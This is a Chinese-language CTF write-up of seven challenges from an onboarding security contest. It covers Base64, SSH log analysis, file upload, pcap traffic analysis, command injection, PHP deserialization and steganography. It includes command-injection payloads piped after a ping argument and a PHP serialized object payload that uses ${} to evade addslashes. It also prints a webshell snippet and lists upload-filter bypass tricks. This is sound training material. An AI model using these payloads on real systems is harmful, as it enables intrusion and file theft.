一次入职比赛 CTF 解题记录
概述
本文记录了一次公司入职安全竞赛的 CTF 题目解题过程。比赛共包含 7 道题目,难度从简单到中等,涵盖 Web 安全与 Misc 两个方向。
Warning
本文内容仅用于 CTF 学习与技术交流,请勿用于任何非法用途。
签到题
考点:Base64 编码 · 基础解码
题目要求对一段 Base64 编码内容进行两次解密即可获得 flag。
解题步骤:
- 获取第一次 Base64 编码内容
- 第一次解码后得到另一段 Base64 字符串
- 第二次解码后获得最终 flag
echo "编码内容" | base64 -d | base64 -dTip
遇到多层编码时,逐层解码并观察中间结果,判断是否需要继续解码。
日志分析
考点:Linux 日志分析 · SSH 暴力破解检测 · 正则过滤
题目提供了一份包含大量系统日志的文件,需要从中筛选出 SSH 相关的安全事件。
解题思路:
日志中干扰项较多,利用正则表达式过滤掉无关的系统日志,只保留与 ssh 相关的记录。
grep -i "sshd" /var/log/auth.log通过分析日志,可以发现以下关键信息:
Note
关注 Accepted password 和 Failed password 两条关键日志,前者表示成功登录,后者表示尝试失败。
示例日志片段:
May 12 00:11:42 redhat sshd[2560]: PAM service(sshd) ignoring max retries; 6 > 3May 12 00:26:43 redhat sshd[2606]: Received disconnect from 192.168.38.137: 11: Bye ByeMay 12 00:26:43 redhat sshd[2608]: Accepted password for root from 192.168.38.137 port 33456 ssh2从日志中可以提取出攻击者 IP 192.168.38.137,以及成功登录的时间点和端口信息。结合这些线索,可以定位到攻击者的行为轨迹。

文件上传漏洞
考点:文件上传 · Webshell · 权限提升
题目提供了一个文件上传功能,但未做严格的安全过滤。
解题步骤:
- 测试上传限制:尝试上传不同类型的文件,发现没有对文件类型进行严格校验
- 上传 Webshell:直接上传大马(Webshell)获取服务器权限

- 查找 flag:在服务器根目录找到
flag.php文件,打开后获得 flag
Tip
实际环境中,文件上传漏洞的利用需要结合 WAF 绕过技巧,如修改 Content-Type、双后缀名、00 截断等。
流量分析
考点:Wireshark 流量分析 · HTTP 协议 · Base64 编码 · 压缩包提取
题目提供了一个 Wireshark 流量包(.pcap),需要从中提取关键信息。
解题步骤:
1. 初步分析
下载流量包后,在 Wireshark 中过滤 HTTP 协议,发现攻击者通过小马(Webshell)执行远程操作。
小马代码分析:
<?php@ini_set("display_errors", "0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo "->|";$D = base64_decode($_POST["z1"]);$F = @opendir($D);if ($F == NULL) { echo "ERROR:// Path Not Found Or No Permission!";} else { $M = NULL; $L = NULL; while ($N = @readdir($F)) { $P = $D . "/" . $N; $T = @date("Y-m-d H:i:s", @filemtime($P)); @($E = substr(base_convert(@fileperms($P), 10, 8), -4)); $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\r\n"; if (@is_dir($P)) { $M .= $N . "/" . $R; } else { $L .= $N . $R; } } echo $M . $L; @closedir($F);}echo "|<-";die;代码分析:
$D是$_POST["z1"]的 Base64 解码结果,代表要读取的目录路径- 代码列出指定目录下的所有文件和目录,返回格式为:
文件名\t修改时间\t文件大小\t权限 z1参数是 Base64 编码的路径名称
2. 提取压缩包
在流量中发现中途请求了一次压缩包内容。根据上述代码逻辑,应该返回的是压缩包的十六进制信息。

导出压缩包信息后,删除头尾多余的 ASCII 字符,保存为压缩包文件。

打开压缩包后发现需要密码。
3. 寻找解压密码
通过比较流量发现,最后一步 POST 请求之后多了一个 password.docx 文件,推测攻击者进行了文件上传操作。

使用相同方法提取上传的文件,保存为 1.docx,打开后得到解压密码。

4. 获取 flag
将解压密码输入压缩包,成功解压后获得 flag。
Note
流量分析题的关键在于:
- 理解通信协议和数据格式
- 关注异常请求和文件传输
- 逐步还原攻击者的操作流程
命令执行漏洞
考点:命令注入 · Linux 命令 · 信息收集
题目提供了一个 ping 功能,存在命令执行漏洞。
解题步骤:
1. 漏洞确认
简单测试发现,输入参数会被直接拼接到系统命令中执行。
ping -t 3 127.0.0.12. 构造 Payload
尝试构造命令执行,利用 | 或 ; 分隔符执行额外命令:
127.0.0.1 | ls /home127.0.0.1 | cat /home/flag.txt通过上述命令,成功读取 /home/flag.txt 文件内容,获得 flag。
Warning
命令执行漏洞是高危漏洞,实际环境中可能导致服务器完全失陷。部署 Web 应用时,应严格过滤用户输入,避免直接使用 system()、exec() 等函数。
代码审计 — PHP 反序列化
考点:PHP 反序列化 · __destruct 魔术方法 · addslashes 绕过 · ${} 变量解析
题目提供了一段 PHP 代码,需要进行代码审计并构造反序列化 Payload。
源码分析:
<?phpclass Nice{ public $text; function cmd($poc) { $p='$poc="' . addslashes($poc) . '";'; //var_dump($p); eval($p); } function __destruct() { $this->cmd($this->text); }}$nice=new Nice();$_GET[0]="./flag.php";$nice->text='${var_dump(file_get_contents($_GET[0]))}';$nice=serialize($nice);var_dump($nice);unserialize($nice);漏洞分析:
cmd()方法使用addslashes()对用户输入进行转义,然后拼接进eval()执行__destruct()魔术方法在对象销毁时自动调用cmd(),传入$text属性- 关键点:
addslashes()只能转义单引号、双引号、反斜杠和 NULL 字符,无法防御${}变量解析
绕过思路:
使用 ${} 语法绕过 addslashes 的转义。${} 中的内容会被当作 PHP 变量解析,而 addslashes 不会对 $ 符号进行转义。
Payload 构造:
首先尝试列出目录:
a=O:4:"Nice":1:{s:4:"text";s:40:"${var_dump(scandir())}";}执行后发现存在 flag.php 文件。
为避免引号被转义,可以额外传入一个参数 0 获取 flag 文件内容:
a=O:4:"Nice":1:{s:4:"text";s:40:"${var_dump(file_get_contents($_GET[0]))}";}&0=./flag.phpTip
PHP 代码审计时,重点关注:
- 魔术方法(
__construct、__destruct、__wakeup等) - 可变函数调用(
eval、assert、preg_replace等) - 变量覆盖与变量解析(
${}、$$等) - 过滤函数的绕过方式
图像隐写
考点:Binwalk 分析 · dd 数据分离 · ZIP 密码爆破 · 图片隐写
题目提供了一张图片,需要通过隐写技术分析其中的隐藏信息。
解题步骤:
1. 文件分析
使用 binwalk 检测图片文件:
binwalk 1591341008631.png发现图片中隐藏了一个 ZIP 压缩包。

2. 分离压缩包
使用 dd 命令分离出隐藏的压缩包:
dd if=1591341008631.png of=1.zip skip=128394 bs=13. 密码爆破
分离出的 ZIP 压缩包是加密的,使用爆破工具进行密码破解,得到密码 1231。
4. 进一步分析
解压后得到另一张图片,在图片尾部发现 flag 信息。

Note
图像隐写题的常见技巧:
- 使用
binwalk检测隐藏文件 - 使用
dd、foremost、steghide等工具提取隐藏数据 - 检查文件尾部(
tail、xxd) - 尝试常见弱密码爆破加密压缩包
总结
本次比赛题目涵盖了 Web 安全和 Misc 两个大方向,难度适中,适合入门级安全爱好者练习。
| 题号 | 题目 | 方向 | 难度 | 核心考点 |
|---|---|---|---|---|
| 1 | 签到题 | Misc | ⭐ | Base64 编码 |
| 2 | 日志分析 | Misc | ⭐⭐ | SSH 日志分析、正则过滤 |
| 3 | 文件上传 | Web | ⭐⭐ | 文件上传漏洞、Webshell |
| 4 | 流量分析 | Misc | ⭐⭐⭐ | Wireshark、HTTP 协议、Base64 |
| 5 | 命令执行 | Web | ⭐⭐ | 命令注入、Linux 命令 |
| 6 | 代码审计 | Web | ⭐⭐⭐ | PHP 反序列化、代码审计 |
| 7 | 图像隐写 | Misc | ⭐⭐⭐ | Binwalk、dd、密码爆破 |
Tip
建议按以下顺序练习:
- 先完成简单题建立信心
- 重点攻克流量分析和代码审计类题目
- 总结每道题的解题思路,形成自己的知识体系